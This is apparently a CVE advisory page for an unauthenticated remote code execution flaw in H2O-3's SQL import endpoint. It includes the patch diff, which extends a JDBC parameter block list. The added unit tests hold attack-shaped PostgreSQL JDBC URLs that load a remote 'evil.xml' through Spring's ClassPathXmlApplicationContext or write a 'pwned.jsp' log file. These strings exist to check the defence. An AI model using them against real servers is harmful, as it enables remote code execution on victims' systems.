CVE-2026-3960
Description
A critical remote code execution vulnerability exists in the unauthenticated REST API endpoint /99/ImportSQLTable in H2O-3 version 3.46.0.9 and prior. The vulnerability arises due to insufficient security controls in the parameter blacklist mechanism, which only targets MySQL JDBC driver-specific dangerous parameters. An attacker can bypass these controls by switching the JDBC URL protocol to jdbc:postgresql: and exploiting PostgreSQL JDBC driver-specific parameters such as socketFactory and socketFactoryArg. This allows unauthenticated attackers to execute arbitrary code on the H2O-3 server with the privileges of the H2O-3 process. The issue is resolved in version 3.46.0.10.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
ai.h2o:h2o-coreMaven | < 3.46.0.10 | 3.46.0.10 |
Affected products
1Patches
1b9ae2d3c5220GH-16775 - Add couple of postgres sql parameters to DEFAULT_JDBC_DISALLOWED_PARAMETERS (#16776)
2 files changed · +44 −2
h2o-core/src/main/java/water/jdbc/SQLManager.java+5 −2 modified@@ -46,8 +46,11 @@ public class SQLManager { private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*"); private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = Stream.of( - "autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", //mysql - "allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", //mysql + "autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", //mysql + "allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", //mysql + "statementInterceptors", //mysql + "socketFactory", "socketFactoryArg", "sslfactory", "sslfactoryarg", //postgresql + "loggerLevel", "loggerFile", //postgresql -- not dangerous but user should not have a reason to use them "init", "script", "shutdown" //h2 ).map(String::toLowerCase).collect(Collectors.toList()); private static AtomicLong NEXT_TABLE_NUM = new AtomicLong(0);
h2o-core/src/test/java/water/jdbc/SQLManagerTest.java+39 −0 modified@@ -246,6 +246,36 @@ public void testValidateJdbcConnectionStringMysqlMultipleEncodedString() { SQLManager.validateJdbcUrl(jdbcConnection); } + @Test + public void testValidateJdbcConnectionStringPostgresqlSocketFactory() { + exception.expect(IllegalArgumentException.class); + exception.expectMessage("Potentially dangerous JDBC parameter found: socketFactory"); + + String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:9090/evil.xml"; + + SQLManager.validateJdbcUrl(jdbcConnection); + } + + @Test + public void testValidateJdbcConnectionStringPostgresqlSslFactory() { + exception.expect(IllegalArgumentException.class); + exception.expectMessage("Potentially dangerous JDBC parameter found: sslfactory"); + + String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://127.0.0.1:9090/evil.xml"; + + SQLManager.validateJdbcUrl(jdbcConnection); + } + + @Test + public void testValidateJdbcConnectionStringPostgresqlLoggerLevel() { + exception.expect(IllegalArgumentException.class); + exception.expectMessage("Potentially dangerous JDBC parameter found: loggerLevel"); + + String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=/tmp/pwned.jsp"; + + SQLManager.validateJdbcUrl(jdbcConnection); + } + /** * Test fail if any exception is thrown therefore no assert */ @@ -254,4 +284,13 @@ public void testValidateJdbcConnectionStringMysqlPass() { String jdbcConnection = "jdbc:mysql://127.0.0.1:3306/mydb?allowedParameter=true"; SQLManager.validateJdbcUrl(jdbcConnection); } + + /** + * Test fail if any exception is thrown therefore no assert + */ + @Test + public void testValidateJdbcConnectionStringPostgresqlPass() { + String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/mydb?ssl=true&sslmode=require"; + SQLManager.validateJdbcUrl(jdbcConnection); + } }
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4News mentions
0No linked articles in our index yet.